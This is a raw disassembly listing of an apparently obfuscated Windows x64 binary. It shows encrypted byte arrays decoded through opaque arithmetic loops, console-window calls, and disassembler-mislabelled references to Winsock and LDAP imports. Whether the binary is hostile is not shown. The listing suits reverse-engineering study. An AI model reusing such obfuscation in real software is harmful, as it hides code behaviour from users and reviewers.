movzx eax, byte [rbp + rsi + 0x1d0]
add rax, rdi
add rsi, rax
inc rsi
jmp 0x1400c3e03
lea rax, [rdi + 3]
cmp rbx, rax
jne 0x1400c4305
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
mov r8, rbx
mov r9, rdi
jmp 0x1400c44c4
lea rax, [rdi + 5]
cmp rbx, rax
jne 0x1400c412e
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
mov r8, rbx
mov r9, rdi
dec rsi
inc rsi
jmp 0x1400c3e03
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x24
add cl, cl
add dl, cl
mov r8, rbx
mov r9, rdi
jmp 0x1400c4459
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add dl, cl
mov r8, rbx
mov r9, rdi
jmp 0x1400c44c4
add r10b, 0x33
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x65
movzx eax, byte [rbp + rsi + 0x1d0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400c3e03
sub r10b, 0x4b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0xd
jmp 0x1400c4494
lea ecx, [r10 + 0x61]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x59
jmp 0x1400c4459
lea ecx, [r10 - 0x1d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x35
add r10b, 0x73
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x25
add r10b, r11b
mov byte [rbp + rsi + 0x1d0], r10b
inc r9
dec rsi
inc rsi
jmp 0x1400c3e03
lea ecx, [rsi + 0x65]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x3d
inc r9
dec rsi
inc rsi
jmp 0x1400c3e03
movzx r10d, sil
lea ecx, [r10 + 0x11]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x77
sub r10b, 0x63
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, dl
sub cl, al
sub cl, 0x4b
add cl, r10b
add cl, r11b
mov byte [rbp + rsi + 0x1d0], cl
jmp 0x1400c4491
lea ecx, [rsi - 0x19]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x51
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400c3e03
lea rax, [rsi + r15]
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [r11 + rax]
sub dl, 5
movzx r10d, sil
sub r10b, 0x39
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x71
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rsi + 0x1d0], al
inc r9
add rax, r9
sub rsi, rax
lea ecx, [rsi - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 4
add cl, r11b
mov byte [rbp + rsi + 0x1d0], cl
inc r8
sub rsi, r8
dec rsi
movzx eax, byte [rbp + rsi + 0x1d0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400c3e03
lea rax, [rsi + r14]
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [r11 + rax]
add dl, 0x47
movzx eax, byte [rbp + rsi + 0x1d0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400c3e03
sub r10b, 0x41
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x39
jmp 0x1400c3df1
lea rdx, [rbp + 0x147b3ec]
jmp 0x1400c4587
lea rdx, [rbp + 0x7fef01]
jmp 0x1400c4587
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp - 0x40]
call fcn.1400042b0
mov rdx, rax
mov rcx, qword [0x14023cd78]
call fcn.1400df030
nop
lea rcx, [rbp + 0x980]
call fcn.1400037f0
nop
lea rcx, [rbp + 0x938]
call fcn.140002800
nop
lea rcx, [rbp + 0x958]
call fcn.140002800
mov rsi, qword [0x14023cdc8]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbp + 0x510], 0x5b
mov byte [rbp + 0x511], Ordinal_143
mov byte [rbp + 0x512], Ordinal_143
mov byte [rbp + 0x513], 0x88
mov byte [rbp + 0x514], Ordinal_143
mov byte [rbp + 0x515], 0x83
mov byte [rbp + 0x516], Ordinal_143
mov byte [rbp + 0x517], gethostname
mov byte [rbp + 0x518], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x519], 0x86
mov byte [rbp + 0x51a], 0x84
mov byte [rbp + 0x51b], 0x80
mov byte [rbp + 0x51c], 0x9b
mov byte [rbp + 0x51d], 0x99
mov byte [rbp + 0x51e], __WSAFDIsSet
mov byte [rbp + 0x51f], Ordinal_50
mov byte [rbp + 0x520], __WSAFDIsSet
mov byte [rbp + 0x521], 0x9f
mov byte [rbp + 0x522], Ordinal_45
mov byte [rbp + 0x523], 0x58
mov byte [rbp + 0x524], Ordinal_41
mov byte [rbp + 0x525], __WSAFDIsSet
mov byte [rbp + 0x526], 0x9b
mov byte [rbp + 0x527], 0x64
mov byte [rbp + 0x528], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x529], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x52a], 0x9e
mov byte [rbp + 0x52b], 0x90
mov byte [rbp + 0x52c], WSASetLastError
mov byte [rbp + 0x52d], WSASetLastError
mov byte [rbp + 0x52e], 0x68
mov byte [rbp + 0x52f], 5
mov byte [rbp + 0x530], gethostname
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x531], xmm0
movups xmmword [rbp + 0x541], xmm0
mov word [rbp + 0x551], ax
movabs r14, 0xfa731cf8604fe904
movabs r15, 0xce0c04bb62cf3124
movabs r13, 0xd925cacaa22f5f1c
movabs r12, 0xef5956e920efbb0c
movzx r10d, byte [rsp + 0x31]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
cmp rdi, 0x43
jae 0x1400c5263
movzx r11d, byte [rbp + rdi + 0x510]
mov edx, r11d
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400c525a
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c476d
lea rcx, [rdi + r14]
movzx eax, dl
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1c
add r10b, cl
jmp 0x1400c47a7
je 0x1400c51ee
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c5165
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c5135
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c5110
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c50e8
movzx ebx, dil
nop dword [rax + rax]
cmp r9, rdi
ja 0x1400c5251
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400c47db
lea r10d, [rbx + 0x54]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x4c
add r10b, r11b
jmp 0x1400c4820
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c50a3
inc rax
cmp r8, rax
je 0x1400c507e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c5060
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c5041
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c5023
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c4d31
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c4d16
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c4cf2
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400c4cd1
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c4cb2
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c4c90
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c4c75
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c4c57
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400c4c38
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c4c08
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c4830
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400c5236
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400c5217
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400c4a13
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400c49f3
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400c49d7
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400c4bc4
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400c4b81
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c4b5b
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400c4830
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x64]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400c4b2b
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c4b0c
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400c4aee
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400c4ad3
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400c4ab5
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400c4a96
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400c4a71
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c4a4d
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400c4a32
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400c4830
lea r8, [r9 + 5]
lea r9, [r8 + 0x7a]
jmp 0x1400c4830
lea r10d, [rbx + 0x2c]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x34
add r10b, r11b
jmp 0x1400c4820
lea ecx, [rbx + 0x24]
movzx eax, cl
and al, r11b
mov r10d, 2
sub r10b, al
add r10b, r10b
add r10b, cl
add r10b, r11b
jmp 0x1400c47b0
add bl, 0x1c
movzx eax, bl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x1400c4740
lea edx, [rbx - 0x60]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x60
jmp 0x1400c50ba
sub bl, 0x68
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x28
inc r9
dec rdi
inc rdi
jmp 0x1400c4722
sub bl, 0x70
movzx eax, r11b
and al, bl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
dec rdi
inc rdi
jmp 0x1400c4722
lea edx, [rbx - 0x78]
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400c4fdf
add bl, 0x80
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
add r10b, 0x80
add r8, r9
jmp 0x1400c514c
add bl, 0x78
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x48
jmp 0x1400c514c
lea edx, [rbx + 0x70]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x10
add r10b, dl
jmp 0x1400c5180
add bl, 0x68
movzx eax, r11b
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400c51aa
add bl, 0x60
movzx eax, r11b
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
movzx eax, byte [rbp + rdi + 0x510]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c4722
add bl, 0x4c
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x14
mov byte [rbp + rdi + 0x510], r10b
inc rdi
jmp 0x1400c4722
lea edx, [rbx + 0x44]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r9, 0x80
jb 0x1400c4b71
lea edx, [rbx - 0x68]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x50]
jmp 0x1400c50bd
lea edx, [rbx + 0x3c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r8, 0x3e8
jae 0x1400c4fc3
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400c4ed8
lea edx, [rbx + 0x48]
movzx eax, r11b
and al, dl
mov ecx, 4
jmp 0x1400c4b8f
sub bl, 8
movzx eax, r11b
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
movzx eax, byte [rbp + rdi + 0x510]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c4722
sub bl, 0x10
movzx eax, r11b
and al, bl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400c51aa
lea edx, [rbx - 0x18]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x58
add r10b, dl
jmp 0x1400c5180
sub bl, 0x20
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x20
jmp 0x1400c514c
sub bl, 0x28
movzx eax, r11b
and al, bl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
add r8, r9
jmp 0x1400c514c
lea edx, [rbx - 0x30]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400c4fdf
sub bl, 0x38
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x78
dec rdi
inc rdi
jmp 0x1400c4722
sub bl, 0x40
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x1400c4722
lea edx, [rbx - 0x48]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 8
jmp 0x1400c50ba
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x1400c4d81
lea edx, [rbx + 4]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1c
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x20
je 0x1400c5007
lea rcx, [r9 + 3]
cmp r8, rcx
jbe 0x1400c4e33
lea edx, [rbx - 0xc]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
jmp 0x1400c4bd2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c4dba
sub bl, 0x58
movzx eax, r11b
and al, bl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
movzx eax, byte [rbp + rdi + 0x510]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c4722
inc rax
cmp r8, rax
jne 0x1400c4de1
sub bl, 0x50
movzx eax, r11b
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400c51aa
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c4e08
lea edx, [rbx - 0x48]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 8
add r10b, dl
jmp 0x1400c5180
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c4d53
sub bl, 0x38
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x78
add r8, r9
jmp 0x1400c514c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c4e49
lea edx, [rbx - 4]
mov ecx, recv
jmp 0x1400c50ab
inc rax
cmp r8, rax
jne 0x1400c4e75
add bl, 4
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x1c
inc r9
dec rdi
inc rdi
jmp 0x1400c4722
cmp r8, rcx
jne 0x1400c4e9b
add bl, 0xc
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x54
dec rdi
inc rdi
jmp 0x1400c4722
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c4bde
add bl, 0x3c
movzx eax, r11b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
movzx eax, byte [rbp + rdi + 0x510]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c4722
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c4f0d
add bl, 0x50
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x30
movzx eax, byte [rbp + rdi + 0x510]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c4722
inc rax
cmp r8, rax
jne 0x1400c4f33
add bl, 0x58
movzx eax, r11b
and al, bl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x68
add r10b, bl
jmp 0x1400c51aa
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c4f5b
lea edx, [rbx + 0x60]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400c5180
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c4f7f
lea edx, [rbx + 0x78]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x48
add r10b, dl
jmp 0x1400c4fdf
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c4fa9
add bl, 0x80
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
add r10b, 0x80
dec rdi
inc rdi
jmp 0x1400c4722
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400c4b9b
lea edx, [rbx - 0x70]
mov ecx, 8
jmp 0x1400c50ab
lea edx, [rbx - 0x60]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x60
add r10b, dl
add r10b, r11b
sub bl, 0x5c
movzx eax, r11b
and al, bl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x7c
add cl, r11b
add cl, bl
mov byte [rbp + rdi + 0x510], cl
add r8, r9
jmp 0x1400c514c
lea edx, [rbx - 0x58]
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400c5180
sub bl, 0x6c
movzx eax, r11b
and al, bl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xc
add r10b, bl
jmp 0x1400c51aa
lea edx, [rbx - 0x74]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400c5180
add bl, 0x7c
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x64
add r8, r9
jmp 0x1400c514c
add bl, 0x6c
movzx eax, r11b
and al, bl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
dec rdi
inc rdi
jmp 0x1400c4722
lea edx, [rbx + 0x5c]
mov ecx, 0x3e
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
sub bl, 0x64
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
sub r11b, 0x44
add r11b, bl
mov byte [rbp + rdi + 0x510], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c4722
lea edx, [rdi + 0x44]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rdi
inc rdi
jmp 0x1400c4722
lea edx, [rdi + 0x3c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rdi
inc rdi
jmp 0x1400c4722
lea rcx, [rdi + r15]
and dl, cl
mov eax, 2
sub al, dl
lea r10d, [rax + rax]
add r10b, r11b
add r10b, cl
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c4722
lea rcx, [rdi + r13]
and dl, cl
mov eax, reloc.WLDAP32.dll_Ordinal_30
sub al, dl
lea r10d, [rax + rax]
add r10b, r11b
add r10b, cl
movzx ebx, dil
sub bl, 0x54
movzx eax, r11b
and al, bl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x510], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x50]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0x510], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x510]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c4722
lea rax, [rdi + r12]
and dl, al
add dl, dl
sub r11b, dl
lea r10d, [rax + r11]
sub r10b, 0x54
movzx eax, byte [rbp + rdi + 0x510]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c4722
add bl, 0x14
movzx eax, r11b
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400c4720
add bl, 0xc
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x54
jmp 0x1400c4710
lea rdx, [rbp + 0x17093c0]
jmp 0x1400c526a
lea rdx, [rbp + 0x1407cc4]
jmp 0x1400c526a
lea rdx, [rbp + 0x510]
mov rcx, rsi
call fcn.1400644d0
mov byte [rbp + 0x130], 0xf4
mov byte [rbp + 0x131], 0x5a
mov byte [rbp + 0x132], Ordinal_79
mov byte [rbp + 0x133], Ordinal_79
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x134], xmm0
mov qword [rbp + 0x144], rax
mov dword [rbp + 0x14c], eax
mov byte [rbp + 0x150], al
movabs r14, 0xb3bc4e026f51e3ca
movabs r15, 0x519ebe15e9e1021a
movabs r12, 0x1b34ea074df5ab5e
movzx ebx, byte [rsp + 0x31]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
cmp rdi, 0x21
jae 0x1400c5de0
movzx r11d, byte [rbp + rdi + 0x130]
mov esi, r11d
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400c5dd8
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c532c
lea rcx, [rdi + r14]
movzx eax, sil
and al, cl
mov ebx, 0x3d
sub bl, al
add bl, bl
add bl, r11b
add bl, cl
jmp 0x1400c5358
je 0x1400c5d61
inc rax
cmp r8, rax
je 0x1400c5d30
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c5d13
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c5cc7
movzx r10d, dil
nop dword [rax]
cmp r9, rdi
ja 0x1400c5dd0
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400c538d
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c53c1
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c5cb0
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c5c8e
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c5c72
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c5c45
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c5940
nop
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400c5932
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c5909
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c58e3
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c58c5
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c58a2
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400c5885
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400c5867
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c5847
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c5816
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400c53d0
lea r8, [r9 + 0x61]
lea r9, [r8 + 3]
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400c5db0
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400c5d90
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400c55b2
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400c5594
lea rcx, [r9 + 0x42]
cmp r8, rcx
jb 0x1400c5576
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400c57c4
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400c5773
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c5734
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400c570a
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c53d0
mov r8, rcx
lea r9, [rcx + 0x61]
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x1400c56d9
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x1400c56b9
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x1400c569b
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x1400c567b
lea rcx, [r9 + 8]
cmp r8, rcx
ja 0x1400c5658
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400c563f
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400c5619
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400c55f0
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c55d2
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400c53d0
mov r8, rcx
lea r9, [rcx + 0x42]
jmp 0x1400c53d0
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c53c1
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c5360
sub r10b, 0x7a
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c5300
lea edx, [r10 - 0x70]
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x1400c5ce4
sub r10b, 4
movzx eax, r11b
and al, r10b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
inc r9
dec rdi
inc rdi
jmp 0x1400c52e2
add r10b, 0x68
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
dec rdi
inc rdi
jmp 0x1400c52e2
lea edx, [r10 - 0x2c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1400c5b94
add r10b, 0x40
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
add r8, r9
jmp 0x1400c5d49
sub r10b, 0x54
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c5d49
lea edx, [r10 + 0x18]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x1400c5bd5
sub r10b, 0x7c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c5c01
sub r10b, 0x10
movzx eax, r11b
and al, r10b
mov ecx, gethostname
sub cl, al
